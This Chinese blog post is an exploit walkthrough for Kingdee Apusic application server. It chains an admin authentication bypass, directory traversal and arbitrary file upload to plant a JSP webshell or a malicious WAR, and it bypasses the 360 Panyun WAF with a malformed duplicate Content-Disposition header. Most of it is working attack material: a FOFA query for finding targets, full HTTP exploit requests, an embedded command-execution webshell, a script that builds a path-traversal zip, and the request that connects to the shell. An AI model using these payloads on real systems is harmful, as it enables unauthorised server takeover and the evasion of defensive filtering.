金蝶Apusic getshell(Bypass 360磐云waf)

网上现有的资料都是关于金蝶Apusic任意文件上传jsp去getshell的,而真实环境中绝大部分的默认default war包都会关闭,导致这样简单利用是行不通的,这里可以结合权限绕过漏洞和任意文件上传去部署恶意war达到getshell的效果,碰巧这次也记录了360waf的绕过case

金蝶Apusic getshell(Bypass 360磐云waf)

一次在实战中摸索出来网上没有的攻击路径,虽然都是利用的现成的nday,但还是值得记录一下的

影响版本

金蝶 Apusic应用服务器 <= 9.0 (具体版本范围不清楚,实测9.0可行)

FOFA:

1
app="Apusic应用服务器" || title=="欢迎使用Apusic应用服务器"

漏洞poc

server_file 目录遍历漏洞

1
/admin/protected/selector/server_file/files?folder=/

权限绕过漏洞

admin路由后面双写//即可绕过管理员权限认证,例如

1
/admin//protect/application

deployApp 任意文件上传

exp示例(默认default war启用情况下,)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
POST /admin//protect/application/deployApp HTTP/1.1
Host: your-ip
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryd9acIBdVuqKWDJbd
Accept-Encoding: gzip

------WebKitFormBoundaryd9acIBdVuqKWDJbd
Content-Disposition: form-data; name="appName"

111
------WebKitFormBoundaryd9acIBdVuqKWDJbd
Content-Disposition: form-data; name="deployInServer"

false
------WebKitFormBoundaryd9acIBdVuqKWDJbd
Content-Disposition: form-data; name="clientFile"; filename="evil.zip"
Content-Type: application/x-zip-compressed

{{unquote("PK\x03\x04\x14\x00\x00\x00\x00\x00\xe5y\x09Uk\x0a\xc8\xe7d\x01\x00\x00d\x01\x00\x007\x00\x00\x00../../../../applications/default/public_html/shell2.jsp<%\x0d\x0a if \x28\"admin\".equals\x28request.getParameter\x28\"pwd\"\x29\x29\x29 \x7b\x0d\x0a java.io.InputStream input = Runtime.getRuntime\x28\x29.exec\x28request.getParameter\x28\"cmd\"\x29\x29.getInputStream\x28\x29;\x0d\x0a int len = -1;\x0d\x0a byte[] bytes = new byte[4092];\x0d\x0a while \x28\x28len = input.read\x28bytes\x29\x29 != -1\x29 \x7b\x0d\x0a out.println\x28new String\x28bytes, \"GBK\"\x29\x29;\x0d\x0a \x7d\x0d\x0a \x7d\x0d\x0a%>PK\x01\x02\x14\x03\x14\x00\x00\x00\x00\x00\xe5y\x09Uk\x0a\xc8\xe7d\x01\x00\x00d\x01\x00\x007\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xb4\x81\x00\x00\x00\x00../../../../applications/default/public_html/shell2.jspPK\x05\x06\x00\x00\x00\x00\x01\x00\x01\x00e\x00\x00\x00\xb9\x01\x00\x00\x00\x00")}}
------WebKitFormBoundaryd9acIBdVuqKWDJbd
Content-Disposition: form-data; name="archivePath"


------WebKitFormBoundaryd9acIBdVuqKWDJbd
Content-Disposition: form-data; name="baseContext"


------WebKitFormBoundaryd9acIBdVuqKWDJbd
Content-Disposition: form-data; name="startType"

auto
------WebKitFormBoundaryd9acIBdVuqKWDJbd
Content-Disposition: form-data; name="loadon"


------WebKitFormBoundaryd9acIBdVuqKWDJbd
Content-Disposition: form-data; name="virtualHost"


------WebKitFormBoundaryd9acIBdVuqKWDJbd
Content-Disposition: form-data; name="allowHosts"


------WebKitFormBoundaryd9acIBdVuqKWDJbd
Content-Disposition: form-data; name="denyHosts"


------WebKitFormBoundaryd9acIBdVuqKWDJbd--

木马连接

1
2
3
4
GET /shell2.jsp?pwd=admin&cmd=ifconfig HTTP/1.1
Host: your-ip
Accept-Encoding: gzip
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15

360磐云waf 文件上传绕过原理

  1. 360磐云WAF:检查所有Content-Disposition请求头,只要有一个请求头存在异常的form-data参数名,就退出检查,将流量放行给后端。
  2. 金蝶apusic中间件:只使用第一个Content-Disposition请求头,只有当第一个请求头是正确的form-data参数名时,才能正常处理业务,完成文件上传。

所以这里只需要在第二个Content-Disposition请求头设置个错误的参数即可绕过,例如下方的aform-data

1
2
3
4
Content-Disposition: form-data; name="clientFile"; filename="app.zip"
Content-Type: image/jpeg
Content-Disposition: aform-data; name="clientFile"; filename="app.zip"
Content-Type: image/jpeg

漏洞实际利用

这里采用部署war去拿shell,这种方法更为通用,因为大多数真实环境下是不会启用default war的,这也是为什么很多时候直接拿网上的exp自己缺打不通的原因

生成webshell 打包为war包

1
jar cvf ./eva.war ./sh.jsp

通过python代码生成恶意的zip包

这里的上传路径如果不确定,可以通过目录遍历漏洞去查看一下,当然默认都是这个路径

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
import zipfile

try:
# 创建或追加写入 ZIP 文件
zipFile = zipfile.ZipFile("./evil.zip", 'a', zipfile.ZIP_DEFLATED)
info =zipfile.ZipInfo("./evil.zip")
# 写入文件到指定路径下
zipFile.write("./eva.war","../../../../applications/eva.war",zipfile.ZIP_DEFLATED
)

zipFile.close()

except IOError as e:
print(f"IO 错误: {e}")
except Exception as e:
print(f"发生未知错误: {e}")

然后通过yakit的file上传该恶意zip

正常上传会被waf拦截

通过刚才提到的方式进行绕过

直接粘贴zip包二进制内容可能会乱码,这里选择yakkit的文件标签

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
POST /admin//protect/application/deployApp HTTP/1.1
Host:
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryNotThoE1rFKMKxp5
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.5615.50 Safari/537.36
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
Content-Length: 149

------WebKitFormBoundaryd9acIBdVuqKWDJbd
Content-Disposition: form-data; name="appName"

444
------WebKitFormBoundaryd9acIBdVuqKWDJbd
Content-Disposition: form-data; name="deployInServer"

false
------WebKitFormBoundaryd9acIBdVuqKWDJbd
Content-Disposition: form-data; name="clientFile"; filename="app.zip"
Content-Type: image/jpeg
Content-Disposition: aform-data; name="clientFile"; filename="app.zip"
Content-Type: image/jpeg

{{file(/Users/jun/PycharmProjects/Python/evil.zip)}}
------WebKitFormBoundaryd9acIBdVuqKWDJbd
Content-Disposition: form-data; name="archivePath"


------WebKitFormBoundaryd9acIBdVuqKWDJbd
Content-Disposition: form-data; name="baseContext"


------WebKitFormBoundaryd9acIBdVuqKWDJbd
Content-Disposition: form-data; name="startType"

auto
------WebKitFormBoundaryd9acIBdVuqKWDJbd
Content-Disposition: form-data; name="loadon"


------WebKitFormBoundaryd9acIBdVuqKWDJbd
Content-Disposition: form-data; name="virtualHost"


------WebKitFormBoundaryd9acIBdVuqKWDJbd
Content-Disposition: form-data; name="allowHosts"


------WebKitFormBoundaryd9acIBdVuqKWDJbd
Content-Disposition: form-data; name="denyHosts"


------WebKitFormBoundaryd9acIBdVuqKWDJbd--

war传到application目录下,如果传到的目录正确的话,会自动配置好并启动

访问该路由查看

1
/admin//protect/application

配置war包上下文

访问

1
/admin//protect/application/config?name=eva

抓到该保存包,用权限绕过payload去请求

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
POST /admin//protect/application/configApp HTTP/1.1
Host:
Upgrade-Insecure-Requests: 1
Origin:
Referer:
Accept-Encoding: gzip, deflate
Cookie:
Accept-Language: zh-CN,zh;q=0.9
Cache-Control: max-age=0
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/136.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Content-Length: 120

appName=eva&deployPath=applications%2Feva.war&baseContext=eva&startType=auto&loadon=&virtualHost=&allowHosts=&denyHosts=

至此webshell上传成功,用对应的shell管理工具连接即可

1
/eva/sh.jsp


金蝶Apusic getshell(Bypass 360磐云waf)
https://www.smal1.black/金蝶Apusic getshell(Bypass 360磐云waf).html
作者
Small Black
发布于
2025年5月31日
许可协议